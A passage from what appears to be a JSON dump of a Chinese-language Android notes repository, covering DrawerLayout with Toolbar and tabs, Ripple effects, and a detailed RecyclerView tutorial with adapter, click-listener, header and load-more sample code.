android:id=\"@+id/psts_main\"\n            android:layout_width=\"match_parent\"\n            android:layout_height=\"48dip\"\n            android:background=\"@color/colorPrimary\" />\n\n        <android.support.v4.view.ViewPager\n            android:id=\"@+id/vp_main\"\n            android:layout_width=\"match_parent\"\n            android:layout_height=\"match_parent\"></android.support.v4.view.ViewPager>\n\n    </LinearLayout>\n\n    <!--侧边栏部分-->\n    <fragment\n        android:id=\"@+id/fragment_navigation_drawer\"\n        android:name=\"com.charon.materialsample.fragment.FragmentDrawer\"\n        android:layout_width=\"@dimen/nav_drawer_width\"\n        android:layout_height=\"match_parent\"\n        android:layout_gravity=\"start\"\n        app:layout=\"@layout/fragment_navigation_drawer\"\n        tools:layout=\"@layout/fragment_navigation_drawer\" />\n\n</android.support.v4.widget.DrawerLayout>\n```\n\n使用DrawerLayout后可以实现类似SlidingMenu的效果。但是怎么将DrawerLayout与ToolBar结合起来呢？ 还有再结合Navigation Tabs\n以及ViewPager。下面我就直接上代码了。\n\n先看布局：　activity_main.xml                \n```xml\n<android.support.v4.widget.DrawerLayout xmlns:android=\"http://schemas.android.com/apk/res/android\"\n    xmlns:app=\"http://schemas.android.com/apk/res-auto\"\n    xmlns:tools=\"http://schemas.android.com/tools\"\n    android:id=\"@+id/drawer_layout\"\n    android:layout_width=\"match_parent\"\n    android:layout_height=\"match_parent\">\n\n    <!--主页面-->\n    <LinearLayout\n        android:layout_width=\"match_parent\"\n        android:layout_height=\"match_parent\"\n        android:orientation=\"vertical\">\n\n        <include\n            android:id=\"@+id/toolbar\"\n            layout=\"@layout/toolbar\" />\n\n        <com.charon.materialsample.view.PagerSlidingTabStrip\n            android:id=\"@+id/psts_main\"\n            android:layout_width=\"match_parent\"\n            android:layout_height=\"48dip\"\n            android:background=\"@color/colorPrimary\" />\n\n        <android.support.v4.view.ViewPager\n            android:id=\"@+id/vp_main\"\n            android:layout_width=\"match_parent\"\n            android:layout_height=\"match_parent\"/>\n\n    </LinearLayout>\n\n    <!--侧边栏部分-->\n    <fragment\n        android:id=\"@+id/fragment_navigation_drawer\"\n        android:name=\"com.charon.materialsample.fragment.DrawerFragment\"\n        android:layout_width=\"wrap_content\"\n        android:layout_marginRight=\"56dp\"\n        android:layout_height=\"match_parent\"\n        android:layout_gravity=\"start\"\n        app:layout=\"@layout/fragment_navigation_drawer\"\n        tools:layout=\"@layout/fragment_navigation_drawer\" />\n\n</android.support.v4.widget.DrawerLayout>\n```\n\nMainActivity的代码: \n```java\npublic class MainActivity extends AppCompatActivity {\n\n    private Context mContext;\n\n    private Toolbar mToolbar;\n    private PagerSlidingTabStrip mScrollingTabs;\n    private ViewPager mViewPager;\n    private MainPagerAdapter mPagerAdapter;\n    private ActionBarDrawerToggle mDrawerToggle;\n    private DrawerLayout mDrawerLayout;\n\n    private List<String> mTitles;\n    private List<Fragment> mFragments;\n\n    @Override\n    protected void onCreate(Bundle savedInstanceState) {\n        super.onCreate(savedInstanceState);\n        setContentView(R.layout.activity_main);\n        mContext = this;\n\n        findView();\n        setToolBar();\n        initView();\n        initDrawerFragment();\n    }\n\n    private void findView() {\n        mToolbar = (Toolbar) findViewById(R.id.toolbar);\n        mScrollingTabs = (PagerSlidingTabStrip) findViewById(R.id.psts_main);\n        mViewPager = (ViewPager) findViewById(R.id.vp_main);\n        mDrawerLayout = (DrawerLayout) findViewById(R.id.drawer_layout);\n    }\n\n\n    private void setToolBar() {\n        mToolbar.setTitle(R.string.app_name);\n        setSupportActionBar(mToolbar);\n        getSupportActionBar().setDisplayShowHomeEnabled(true);\n    }\n\n    private void initView() {\n        mFragments = new ArrayList<>();\n        for (int xxx = 0; xxx < 5; xxx++) {\n            mFragments.add(new FriendsFragment());\n        }\n\n        mTitles = new ArrayList<>();\n        for (int xxx = 0; xxx < 5; xxx++) {\n            mTitles.add(\"Tab : \" + xxx);\n        }\n\n        mPagerAdapter = new MainPagerAdapter(getSupportFragmentManager(), mFragments, mTitles);\n        mViewPager.setAdapter(mPagerAdapter);\n        mScrollingTabs.setDividerColor(Color.TRANSPARENT);\n        mScrollingTabs.setIndicatorHeight(10);\n        mScrollingTabs.setUnderlineHeight(0);\n        mScrollingTabs.setTextSize(50);\n        mScrollingTabs.setTextColor(Color.BLACK);\n        mScrollingTabs.setSelectedTextColor(Color.WHITE);\n        mScrollingTabs.setViewPager(mViewPager);\n\n    }\n\n    private void initDrawerFragment() {\n        mDrawerToggle = new ActionBarDrawerToggle(this, mDrawerLayout, mToolbar, R.string.drawer_open, R.string.drawer_close) {\n            @Override\n            public void onDrawerOpened(View drawerView) {\n                super.onDrawerOpened(drawerView);\n                MainActivity.this.invalidateOptionsMenu();\n            }\n\n            @Override\n            public void onDrawerClosed(View drawerView) {\n                super.onDrawerClosed(drawerView);\n                MainActivity.this.invalidateOptionsMenu();\n            }\n\n            @Override\n            public void onDrawerSlide(View drawerView, float slideOffset) {\n                super.onDrawerSlide(drawerView, slideOffset);\n                mToolbar.setAlpha(1 - slideOffset / 2);\n            }\n        };\n\n        mDrawerLayout.setDrawerListener(mDrawerToggle);\n        mDrawerToggle.syncState();\n    }\n\n    @Override\n    public boolean onCreateOptionsMenu(Menu menu) {\n        // Inflate the menu; this adds items to the action bar if it is present.\n        getMenuInflater().inflate(R.menu.menu_main, menu);\n        return true;\n    }\n\n    @Override\n    public boolean onOptionsItemSelected(MenuItem item) {\n        // Handle action bar item clicks here. The action bar will\n        // automatically handle clicks on the Home/Up button, so long\n        // as you specify a parent activity in AndroidManifest.xml.\n        int id = item.getItemId();\n\n        //noinspection SimplifiableIfStatement\n        if (id == R.id.action_settings) {\n            return true;\n        }\n        if (id == R.id.action_search) {\n            Toast.makeText(getApplicationContext(), \"Search action is selected!\", Toast.LENGTH_SHORT).show();\n            return true;\n        }\n        return super.onOptionsItemSelected(item);\n    }\n\n}\n```\n最后再看一下`DrawerFragment`的代码: \n```java\npublic class DrawerFragment extends Fragment {\n    private Context mContext;\n    private RecyclerView mRecyclerView;\n    private NavigationDrawerAdapter mAdapter;\n    private static String[] titles = null;\n\n    public DrawerFragment() {\n\n    }\n\n    public static List<NavDrawerItem> getData() {\n        List<NavDrawerItem> data = new ArrayList<>();\n\n        // preparing navigation drawer items\n        for (int i = 0; i < titles.length; i++) {\n            NavDrawerItem navItem = new NavDrawerItem();\n            navItem.setTitle(titles[i]);\n            data.add(navItem);\n        }\n        return data;\n    }\n\n    @Override\n    public void onCreate(Bundle savedInstanceState) {\n        super.onCreate(savedInstanceState);\n        mContext = getActivity();\n        // drawer labels\n        titles = getActivity().getResources().getStringArray(R.array.nav_drawer_labels);\n    }\n\n    @Override\n    public View onCreateView(LayoutInflater inflater, ViewGroup container,\n                             Bundle savedInstanceState) {\n        // Inflating view layout\n        View layout = inflater.inflate(R.layout.fragment_navigation_drawer, container, false);\n        mRecyclerView = (RecyclerView) layout.findViewById(R.id.drawerList);\n        mRecyclerView.setHasFixedSize(true);\n        mAdapter = new NavigationDrawerAdapter(getActivity(), getData());\n        mRecyclerView.setAdapter(mAdapter);\n        mRecyclerView.setLayoutManager(new LinearLayoutManager(getActivity()));\n        mAdapter.setOnRecyclerViewListener(new NavigationDrawerAdapter.OnRecyclerViewListener() {\n            @Override\n            public void onItemClick(int position) {\n                Toast.makeText(mContext, getData().get(position).getTitle(), Toast.LENGTH_SHORT).show();\n                startActivity(new Intent(getActivity(), FriendsActivity.class));\n            }\n\n            @Override\n            public boolean onItemLongClick(int position) {\n                return false;\n            }\n        });\n        return layout;\n    }\n\n}\n```\n上面的`PagerSlidingTabStrip`是开源项目，我改了下，添加了一个选中时的文字颜色改变。\n\n[Demo地址](https://github.com/CharonChui/MaterialLibrary)\n\n\nRipple效果\n---\n\n个人非常喜欢的效果。相当于给点击事件加上了动态的赶脚。。。\n\n\n假设现在有一个`Button`的`selector`，我们想给这个`Button`加上`Ripple`效果，肿么办？ \n新建一个`xml`文件，用`ripple`包裹`selector`，然后在`Button`的`backgroud`直接引用这个`xml`就好了。\n```xml\n<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<ripple xmlns:android=\"http://schemas.android.com/apk/res/android\"\nandroid:color=\"@color/whatever\">\n<selector xmlns:android=\"http://schemas.android.com/apk/res/android\"\n<item android:state_pressed=\"false\" android:state_focused=\"true\"\nandroid:drawable=\"@drawable/some_focused_blah\"/>\n<item android:state_pressed=\"true\" android:drawable=\"@drawable/some_pressed_blah\"/>\n<item android:drawable=\"@android:color/whatever\"/>\n</selector>\n</ripple>\n\n```\n但是很遗憾，`ripple`是5.0才有的，而且`support`包中没有实现该功能的扩展。\n`5.0`的这些效果还是无法在低版本上实现，包括一些`TextView`等样式，现在可以用大神的开源项目        \n[MaterialDesignLibrary](https://github.com/navasmdc/MaterialDesignLibrary)\n\n\nRecyclerView\n---\n\n`ListView`的升级版，还有什么理由不去用呢？ 同样他也在`support v7`包中。\n```\ncompile 'com.android.support:recyclerview-v7:21.+'  \n```\n通过`mRecyclerView.setLayoutManager(new LinearLayoutManager(this)); `设置为`LinearLayoutManager`来实现水平或者竖直\n方向的`ListView`。\n\n\n阴影\n---\n\n通过对`View`设置`backgroud`后再添加`android:elevation=\"2dp\"`来实现背景大小。\n\n\n\n---\n\n- 邮箱 ：charon.chui@gmail.com  \n- Good Luck! "
  },
  {
    "path": "docs/android/AndroidNote/AdavancedPart/RecyclerView专题.md",
    "content": "RecyclerView专题\n===\n\n### 简介\n\n`RecyclerView`是`Android 5.0`提供的新控件，已经用了很长时间了，但是一直没有时间去仔细的梳理一下。现在项目不太紧，决定来整理下。\n\n官方文档中是这样介绍的:     \n`A flexible view for providing a limited window into a large data set.`\n\n`RecyclerView`比`listview`更先进更灵活，对于很多的视图它就是一个容器，可以有效的重用和滚动。当数据动态变化的时候请使用它。\n\n\n\n##### 专业术语:\n\n- `Adapter`: `A subclass of RecyclerView.Adapter responsible for providing views that represent items in a data set.`\n- `Position`: `The position of a data item within an Adapter.`\n- `Index`: `The index of an attached child view as used in a call to getChildAt(int). Contrast with Position.`\n- `Binding`: `The process of preparing a child view to display data corresponding to a position within the adapter.`\n- `Recycle (view)`: `A view previously used to display data for a specific adapter position may be placed in a cache for later reuse to display the same type of data again later. This can drastically improve performance by skipping initial layout inflation or construction.`\n- `Scrap (view)`: `A child view that has entered into a temporarily detached state during layout. Scrap views may be reused without becoming fully detached from the parent RecyclerView, either unmodified if no rebinding is required or modified by the adapter if the view was considered dirty.`\n- `Dirty (view)`: `A child view that must be rebound by the adapter before being displayed.`\n\n##### `RecyclerView`中的位置:      \n\n`RecyclerView`在`RecyclerView.Adapter`和`RecyclerView.LayoutManager`中引进了一个抽象的额外中间层来保证在布局计算的过程中能批量的监听到数据变化。这样介绍了`LayoutManager`追踪`adapter`数据变化来计算动画的时间。因为所有的`View`绑定都是在同一时间执行，所以这样也提高了性能和避免了一些非必要的绑定。       \n因为这个原因，在`RecylcerView`中有两种`position`类型相关的方法:     \n- `layout position`:  在最近一次`layout`计算是`item`的位置。这是`LayoutManager`角度中的位置。   \n- `adapter position`: `item`在`adapter`中的位置。这是从`Adapter`的角度中的位置。\n      \n这两种`position`除了在分发`adapter.notify`事件与之后计算布局更新的这段时间之内外都是相同的。  \n可以通过`getLayoutPosition(),findViewHolderForLayoutPosition(int)`方法来获取最近一次布局计算的`LayoutPosition`。这些`positions`包括从最近一次布局计算的所有改变。你可以根据这些位置来方便的得到用户当前从屏幕上所看到的。例如，如果在屏幕上有一个列表，用户请求的是第五个条目，你可以通过该方法来匹配当前用户正在看的内容。\n            \n另一种`AdapterPosition`相关的方法是`getAdapterPosition(),findViewHolderForAdapterPosition(int)`，当及时一些数据可能没有来得及被展现到布局上时便需要获取最新的`adapter`位置可以使用这些相关的方法。例如，如果你想获取一个条目的`ViewHOlder`的`click`事件时，你应该使用`getAdapterPosition()`。需要知道这些方法在`notifyDataSetChange()`方法被调用和新布局还没有被计算之前是不能使用的。鉴于这个原因，你应该小心的去处理这些方法有可能返回`NO_POSITION`或者`null`的情况。\n\n\n\n### 结构\n\n- `RecyclerView.Adapter`: 创建`View`并将数据集合绑定到`View`上\n- `ViewHolder`: 持有所有的用于绑定数据或者需要操作的`View`\n- `LayoutManager`: 布局管理器，负责摆放视图等相关操作\n- `ItemDecoration`: 负责绘制`Item`附近的分割线，通过`RecyclerView.addItemDecoration()`使用\n- `ItemAnimator`: 为`Item`的操作添加动画效果，如，增删条目等，通过`RecyclerView.setItemAnimator(new DefaultItemAnimator());`使用\n\n下图能更直观的了解:   \n![image](https://raw.githubusercontent.com/CharonChui/Pictures/master/RecyclerView.png?raw=true)\n\n##### `RecyclerView`提供这些内置布局管理器:    \n\n- `LinearLayoutManager`: 以垂直或水平滚动列表方式显示项目。\n- `GridLayoutManager`: 在网格中显示项目。\n- `StaggeredGridLayoutManager`: 在分散对齐网格中显示项目。\n\n##### `RecyclerView.ItemDecoration`是一个抽象类，可以通过重写以下三个方法，来实现Item之间的偏移量或者装饰效果:     \n\n- `public void onDraw(Canvas c, RecyclerView parent)` 装饰的绘制在Item条目绘制之前调用，所以这有可能被Item的内容所遮挡\n- `public void onDrawOver(Canvas c, RecyclerView parent)` 装饰的绘制在Item条目绘制之后调用，因此装饰将浮于Item之上\n- `public void getItemOffsets(Rect outRect, int itemPosition, RecyclerView parent)` 与padding或margin类似，LayoutManager在测量阶段会调用该方法，计算出每一个Item的正确尺寸并设置偏移量。\n\n\n##### `ItemAnimator`触发于以下三种事件:    \n\n- 某条数据被插入到数据集合中\n- 从数据集合中移除某条数据\n- 更改数据集合中的某条数据\n\n在之前的版本中，当时据集合发生改变时通过调用`notifyDataSetChanged()`，来刷新列表，因为这样做会触发列表的重绘，所以并不会出现任何动画效果，因此需要调用一些以`notifyItem*()`作为前缀的特殊方法，比如:    \n\n- `public final void notifyItemInserted(int position)` 向指定位置插入`Item`\n- `public final void notifyItemRemoved(int position)` 移除指定位置`Item`\n- `public final void notifyItemChanged(int position)` 更新指定位置`Item`\n\n\n\n### 使用介绍:     \n\n- 添加依赖库           \n    ```\n    dependencies {\n        compile 'com.android.support:recyclerview-v7:23.4.0'\n    }\n    ```\n- 示例代码        \n\n    ```java\n    public class MainActivity extends AppCompatActivity {\n        private RecyclerView mRecyclerView;\n        private LinearLayoutManager mLayoutManager;\n        private RecyclerView.Adapter mAdapter;\n    \n        private String [] mDatas = {\"Android\",\"ios\",\"jack\",\"tony\",\"window\",\"mac\",\"1234\",\"hehe\",\"495948\", \"89757\", \"66666\"};\n    \n    \n        @Override\n        protected void onCreate(Bundle savedInstanceState) {\n            super.onCreate(savedInstanceState);\n            setContentView(R.layout.activity_main);\n            findView();\n            initView();\n        }\n    \n        private void findView() {\n            mRecyclerView = (RecyclerView) findViewById(R.id.rv);\n        }\n    \n        private void initView() {\n            // use this setting to improve performance if you know that changes\n            // in content do not change the layout size of the RecyclerView\n            mRecyclerView.setHasFixedSize(true);\n    \n            // use a linear layout manager\n            mLayoutManager = new LinearLayoutManager(this);\n            mLayoutManager.setOrientation(LinearLayoutManager.VERTICAL);\n            mRecyclerView.setLayoutManager(mLayoutManager);\n            mAdapter = new MyAdapter(mDatas);\n            mRecyclerView.setAdapter(mAdapter);\n        }\n    \n        private class MyAdapter extends RecyclerView.Adapter<MyHolder> {\n            private String[] mData;\n    \n            public MyAdapter(String[] data) {\n                mData = data;\n            }\n    \n            @Override\n            public MyHolder onCreateViewHolder(ViewGroup parent, int viewType) {\n                // create a new view\n                View v = LayoutInflater.from(parent.getContext()).inflate(\n                        R.layout.item, parent, false);\n                MyHolder holder = new MyHolder(v);\n                return holder;\n            }\n    \n            @Override\n            public void onBindViewHolder(MyHolder holder, int position) {\n                holder.mTitleTv.setText(mData[position]);\n            }\n    \n            @Override\n            public int getItemCount() {\n                return mData == null ? 0 : mData.length;\n            }\n        }\n    \n        static class MyHolder extends RecyclerView.ViewHolder {\n            public TextView mTitleTv;\n    \n            public MyHolder(View itemView) {\n                super(itemView);\n                mTitleTv = (TextView) itemView;\n            }\n        }\n    }\n    ```\n    \n    `activity_main的内容如下: `     \n    ```xml\n    <android.support.v7.widget.RecyclerView xmlns:android=\"http://schemas.android.com/apk/res/android\"\n        android:id=\"@+id/rv\"\n        android:layout_width=\"match_parent\"\n        android:layout_height=\"match_parent\" />\n    ```\n    \n    `item的内容如下：`     \n    ```xml\n    <?xml version=\"1.0\" encoding=\"utf-8\"?>\n    <TextView xmlns:android=\"http://schemas.android.com/apk/res/android\"\n        android:layout_width=\"match_parent\"\n        android:layout_height=\"wrap_content\"\n        android:padding=\"20dp\"\n        android:gravity=\"center_horizontal\"\n        android:textSize=\"30dp\">\n    \n    </TextView>\n    ```\n\n\n\n### 点击事件\n\n之前在使用`ListView`的时候，设置点击事件是非常方便的。    \n```java\nmListView.setOnItemClickListener();\nmListView.setOnItemLongClickListener();\n```\n但是`RecylcerView`确没有提供类似的方法。那我们只能是自己去处理。处理的方式也有两种:       \n\n\n- 通过`itemView.onClickListener()`以及`onLongClickListener()`     \n\n    ```java\n    public class MainActivity extends AppCompatActivity {\n        private RecyclerView mRecyclerView;\n        private LinearLayoutManager mLayoutManager;\n        private MyAdapter mAdapter;\n    \n        private String[] mDatas = {\"Android\", \"ios\", \"jack\", \"tony\", \"window\", \"mac\", \"1234\", \"hehe\", \"495948\", \"89757\", \"66666\"};\n    \n    \n        @Override\n        protected void onCreate(Bundle savedInstanceState) {\n            super.onCreate(savedInstanceState);\n            setContentView(R.layout.activity_main);\n            findView();\n            initView();\n        }\n    \n        private void findView() {\n            mRecyclerView = (RecyclerView) findViewById(R.id.rv);\n        }\n    \n        private void initView() {\n            // use this setting to improve performance if you know that changes\n            // in content do not change the layout size of the RecyclerView\n            mRecyclerView.setHasFixedSize(true);\n    \n            // use a linear layout manager\n            mLayoutManager = new LinearLayoutManager(this);\n            mLayoutManager.setOrientation(LinearLayoutManager.VERTICAL);\n            mRecyclerView.setLayoutManager(mLayoutManager);\n            mAdapter = new MyAdapter(mDatas);\n            mAdapter.setOnItemClickListener(new OnItemClickListener() {\n                @Override\n                public void onItemClick(View view, int position) {\n                    Toast.makeText(MainActivity.this, \"click \" + mDatas[position], Toast.LENGTH_SHORT).show();\n                }\n            });\n            mAdapter.setOnItemLongClickListener(new OnItemLongClickListener() {\n                @Override\n                public void onItemLongClick(View view, int position) {\n                    Toast.makeText(MainActivity.this, \"long click \" + mDatas[position], Toast.LENGTH_SHORT).show();\n                }\n            });\n            mRecyclerView.setAdapter(mAdapter);\n        }\n    \n        class MyAdapter extends RecyclerView.Adapter<MyHolder> {\n            private String[] mData;\n    \n            public MyAdapter(String[] data) {\n                mData = data;\n            }\n    \n            @Override\n            public MyHolder onCreateViewHolder(ViewGroup parent, int viewType) {\n                // create a new view\n                View v = LayoutInflater.from(parent.getContext()).inflate(\n                        R.layout.item, parent, false);\n                MyHolder holder = new MyHolder(v);\n                return holder;\n            }\n    \n            @Override\n            public void onBindViewHolder(final MyHolder holder, final int position) {\n                holder.mTitleTv.setText(mData[position]);\n                if (mOnItemClickListener != null) {\n                    holder.itemView.setOnClickListener(new View.OnClickListener() {\n                        @Override\n                        public void onClick(View v) {\n                            mOnItemClickListener.onItemClick(holder.itemView, position);\n                        }\n                    });\n                }\n                if (mOnItemLongClickListener != null) {\n                    holder.itemView.setOnLongClickListener(new View.OnLongClickListener() {\n                        @Override\n                        public boolean onLongClick(View v) {\n                            mOnItemLongClickListener.onItemLongClick(holder.itemView, position);\n                            return true;\n                        }\n                    });\n                }\n            }\n    \n            @Override\n            public int getItemCount() {\n                return mData == null ? 0 : mData.length;\n            }\n    \n            private OnItemClickListener mOnItemClickListener;\n            private OnItemLongClickListener mOnItemLongClickListener;\n    \n            public void setOnItemClickListener(OnItemClickListener mOnItemClickListener) {\n                this.mOnItemClickListener = mOnItemClickListener;\n            }\n    \n            public void setOnItemLongClickListener(OnItemLongClickListener mOnItemLongClickListener) {\n                this.mOnItemLongClickListener = mOnItemLongClickListener;\n            }\n    \n        }\n    \n        static class MyHolder extends RecyclerView.ViewHolder {\n            public TextView mTitleTv;\n    \n            public MyHolder(View itemView) {\n                super(itemView);\n                mTitleTv = (TextView) itemView;\n            }\n        }\n    \n        public interface OnItemClickListener {\n            void onItemClick(View view, int position);\n        }\n    \n        public interface OnItemLongClickListener {\n            void onItemLongClick(View view, int position);\n        }\n    \n    }\n    ```\n- 使用`RecyclerView.OnItemTouchListener`           \n\n    虽然没有提供现成的监听器，但是提供了一个内部接口`OnItemTouchListener`。    \n    先来看看它的介绍:    \n    ```\n    /**\n     * An OnItemTouchListener allows the application to intercept touch events in progress at the\n     * view hierarchy level of the RecyclerView before those touch events are considered for\n     * RecyclerView's own scrolling behavior.\n     *\n     * <p>This can be useful for applications that wish to implement various forms of gestural\n     * manipulation of item views within the RecyclerView. OnItemTouchListeners may intercept\n     * a touch interaction already in progress even if the RecyclerView is already handling that\n     * gesture stream itself for the purposes of scrolling.</p>\n     *\n     * @see SimpleOnItemTouchListener\n     */\n    public static interface OnItemTouchListener {\n        ...\n    }\n    ```\n\n    说的和明白了，而且还让你看`SimpleOnItemTouchListener`，猜也能猜出来是一个默认的实现类。\n    好了直接上代码:      \n    ```java\n    public class MainActivity extends AppCompatActivity {\n    private RecyclerView mRecyclerView;\n    private LinearLayoutManager mLayoutManager;\n    private MyAdapter mAdapter;\n    private String[] mDatas = {\"Android\", \"ios\", \"jack\", \"tony\", \"window\", \"mac\", \"1234\", \"hehe\", \"495948\", \"89757\", \"66666\"};\n    @Override\n    protected void onCreate(Bundle savedInstanceState) {\n        super.onCreate(savedInstanceState);\n        setContentView(R.layout.activity_main);\n        findView();\n        initView();\n    }\n\n    private void findView() {\n        mRecyclerView = (RecyclerView) findViewById(R.id.rv);\n    }\n\n    private void initView() {\n        // use this setting to improve performance if you know that changes\n        // in content do not change the layout size of the RecyclerView\n        mRecyclerView.setHasFixedSize(true);\n\n        // use a linear layout manager\n        mLayoutManager = new LinearLayoutManager(this);\n        mLayoutManager.setOrientation(LinearLayoutManager.VERTICAL);\n        mRecyclerView.setLayoutManager(mLayoutManager);\n        mAdapter = new MyAdapter(mDatas);\n        mRecyclerView.setAdapter(mAdapter);\n        mRecyclerView.addOnItemTouchListener(new RecyclerViewClickListener(this, mRecyclerView, new OnItemClickListener() {\n            @Override\n            public void onItemClick(View view, int position) {\n                Toast.makeText(MainActivity.this, mDatas[position], Toast.LENGTH_SHORT).show();\n            }\n\n            @Override\n            public void onItemLongClick(View view, int position) {\n                Toast.makeText(MainActivity.this, \"Long Click \" + mDatas[position], Toast.LENGTH_SHORT).show();\n            }\n        }));\n    }\n\n    class RecyclerViewClickListener extends RecyclerView.SimpleOnItemTouchListener {\n        private GestureDetector mGestureDetector;\n        private OnItemClickListener mListener;\n\n        public RecyclerViewClickListener(Context context, final RecyclerView recyclerView, OnItemClickListener listener) {\n            mListener = listener;\n            mGestureDetector = new GestureDetector(context,\n                    new GestureDetector.SimpleOnGestureListener() {\n                        @Override\n                        public boolean onSingleTapUp(MotionEvent e) {\n                            View childView = recyclerView.findChildViewUnder(e.getX(), e.getY());\n                            if (childView != null && mListener != null) {\n                                mListener.onItemClick(childView, recyclerView.getChildLayoutPosition(childView));\n                                return true;\n                            }\n                            return false;\n                        }\n\n                        @Override\n                        public void onLongPress(MotionEvent e) {\n                            View childView = recyclerView.findChildViewUnder(e.getX(), e.getY());\n                            if (childView != null && mListener != null) {\n                                mListener.onItemLongClick(childView, recyclerView.getChildLayoutPosition(childView));\n                            }\n                        }\n                    });\n        }\n\n        @Override\n        public boolean onInterceptTouchEvent(RecyclerView rv, MotionEvent e) {\n            if (mGestureDetector.onTouchEvent(e)) {\n                return true;\n            } else\n                return super.onInterceptTouchEvent(rv, e);\n        }\n\n        @Override\n        public void onTouchEvent(RecyclerView rv, MotionEvent e) {\n            super.onTouchEvent(rv, e);\n        }\n\n        @Override\n        public void onRequestDisallowInterceptTouchEvent(boolean disallowIntercept) {\n            super.onRequestDisallowInterceptTouchEvent(disallowIntercept);\n        }\n    }\n\n    interface OnItemClickListener {\n        void onItemClick(View view, int position);\n\n        void onItemLongClick(View view, int position);\n    }\n    ```\n    上面的实现稍微有些缺陷，就是如果我手指按住某个条目一直不抬起，他也会执行`Long click`事件，这显然是不合理的，至于怎么解决，就是可以不用`GestureDetector`，自己在`DOWN`和`UP`事件中去判断处理。\n\n### Headerview FooterView\n\n之前在`ListView`中提供了`addHeaderView()`和`addFooterView()`等方法，但是在`RecyclerView`中并没有提供类似的方法，那我们该如何添加呢？ 也很简单，就是通过`Adapter`中去添加，利用不同的`itemViewType`，然后根据不同的类型去在`onCreateViewHOlder`中创建不同的视图，通过这种方式来达到`headerview`和`FooterView`的效果。\n\n上一段简单的示例代码:     \n```java\n    public class HeaderAdapter extends RecyclerView.Adapter<RecyclerView.ViewHolder> {\n    private static final int TYPE_HEADER = 0;\n    private static final int TYPE_ITEM = 1;\n    String[] data;\n\n    public HeaderAdapter(String[] data) {\n        this.data = data;\n    }\n\n    @Override\n    public RecyclerView.ViewHolder onCreateViewHolder(ViewGroup parent, int viewType) {\n        if (viewType == TYPE_ITEM) {\n            //inflate your layout and pass it to view holder\n            return new VHItem(null);\n        } else if (viewType == TYPE_HEADER) {\n            //inflate your layout and pass it to view holder\n            return new VHHeader(null);\n        }\n\n        throw new RuntimeException(\"there is no type that matches the type \" + viewType + \" + make sure your using types correctly\");\n    }\n\n    @Override\n    public void onBindViewHolder(RecyclerView.ViewHolder holder, int position) {\n        if (holder instanceof VHItem) {\n            String dataItem = getItem(position);\n            //cast holder to VHItem and set data\n        } else if (holder instanceof VHHeader) {\n            //cast holder to VHHeader and set data for header.\n        }\n    }\n\n    @Override\n    public int getItemCount() {\n        return data.length + 1;\n    }\n\n    @Override\n    public int getItemViewType(int position) {\n        if (isPositionHeader(position))\n            return TYPE_HEADER;\n\n        return TYPE_ITEM;\n    }\n\n    private boolean isPositionHeader(int position) {\n        return position == 0;\n    }\n\n    private String getItem(int position) {\n        return data[position - 1];\n    }\n\n    class VHItem extends RecyclerView.ViewHolder {\n        TextView title;\n\n        public VHItem(View itemView) {\n            super(itemView);\n        }\n    }\n\n    class VHHeader extends RecyclerView.ViewHolder {\n        Button button;\n\n        public VHHeader(View itemView) {\n            super(itemView);\n        }\n    }\n}\n```\n上面的代码对`LinearLayoutManger`是没问题的，但是使用`GridLayoutManager`呢？ 如果是两列，那添加的`HeaderView`并不是占据上第一行，而是`HeaderView`与第二个`ItemView`一起占据第一行。那该怎么处理呢？ \n那就是使用`setSpanSizeLookup()`方法。\n比如:      \n```java\nrecyclerView.setLayoutManager(new GridLayoutManager(this, 2));\n```\n在上面的基本设置中，我们的`spanCount`为2，每个`item`的`span size`为1，因此一个`header`需要的`span size`则为2。在我尝试着添加`header`之前，我想先看看如何设置`span size`。其实很简单。\n```java\nfinal GridLayoutManager manager = new GridLayoutManager(this, 2);\nrecyclerView.setLayoutManager(manager);\nmanager.setSpanSizeLookup(new GridLayoutManager.SpanSizeLookup() {\n  @Override\n  public int getSpanSize(int position) {\n    return adapter.isHeader(position) ? manager.getSpanCount() : 1;\n  }\n});\n```\n\n### 下拉刷新、自动加载\n\n##### 实现下拉刷新      \n实现下拉刷新也很简单了，可以使用`SwipeRefrshLayout`,`SwipeRefrshLayout`是`Google`官方提供的组件，可以实现下拉刷新的功能。已包含到`support.v4`包中。\n\n主要方法有:      \n\n- `setOnRefreshListener(OnRefreshListener)`:添加下拉刷新监听器\n- `setRefreshing(boolean)`:显示或者隐藏刷新进度条\n- `isRefreshing()`:检查是否处于刷新状态\n- `setColorSchemeResources()`:设置进度条的颜色主题，最多设置四种。\n\n```xml\n<android.support.v4.widget.SwipeRefreshLayout\n   android:layout_width=\"fill_parent\"\n   android:layout_height=\"fill_parent\"\n    android:scrollbars=\"vertical\"\n    >\n   <android.support.v7.widget.RecyclerView\n       android:layout_width=\"fill_parent\"\n       android:layout_height=\"fill_parent\"\n       ></android.support.v7.widget.RecyclerView>\n</android.support.v4.widget.SwipeRefreshLayout>\n```\n具体实现就不写了。\n\n##### 实现滑动自动加载更多功能\n\n实现方式和`ListView`的实现方式类似，就是通过监听`scroll`时间，然后判断当前显示的`item`。\n\n```java\n//RecyclerView滑动监听\nmRecylcerView.setOnScrollListener(new RecyclerView.OnScrollListener() {\n    @Override\n    public void onScrollStateChanged(RecyclerView recyclerView, int newState) {\n       super.onScrollStateChanged(recyclerView, newState);\n        if (newState ==RecyclerView.SCROLL_STATE_IDLE && lastVisibleItem + 1 ==adapter.getItemCount()) {\n            new Handler().postDelayed(new Runnable() {\n                @Override\n                public void run() {\n                    List<String> newDatas = new ArrayList<String>();\n                    for (int i = 0; i< 5; i++) {\n                        int index = i +1;\n                       newDatas.add(\"more item\" + index);\n                    }\n                   adapter.addMoreItem(newDatas);\n                }\n            },1000);\n        }\n    }\n    @Override\n    public void onScrolled(RecyclerView recyclerView, int dx, int dy) {\n        super.onScrolled(recyclerView,dx, dy);\n        lastVisibleItem =linearLayoutManager.findLastVisibleItemPosition();\n    }\n});\n```\n\n然后再通过结合`FooterView`以及增加几种状态就可以实现自动加载更多了。\n\n    \t\n---\n\n- 邮箱 ：charon.chui@gmail.com  \n- Good Luck! "
  },
  {
    "path": "docs/android/AndroidNote/AdavancedPart/如何让Service常驻内存.md",
